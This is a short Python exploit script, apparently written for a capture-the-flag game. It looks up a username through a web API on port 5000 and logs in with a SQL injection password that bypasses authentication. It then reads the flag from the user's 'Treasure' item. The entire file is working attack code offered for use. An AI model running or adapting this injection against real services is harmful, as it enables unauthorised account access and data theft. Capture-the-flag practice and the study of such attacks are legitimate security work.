exploit_sqli.py

#!/usr/bin/env python3

import sys
import requests

def exploit(ip, flag_id):
    user_id = flag_id
    s = requests.Session()
    username = s.get(f'http://{ip}:5000/api/user/{user_id}').json()["user"]
    s.post(f'http://{ip}:5000/api/login', json={'username': username, 'password': "A' or username='" + username}).json()
    items = s.get(f'http://{ip}:5000/api/user/items').json()["items"]

    for item in items:
        if item["name"] == "Treasure":
            return item["personal_description"]

    return "No flag found"


if __name__ == "__main__":
    ip = sys.argv[1]
    flag_id = sys.argv[2]
    print(exploit(ip, flag_id))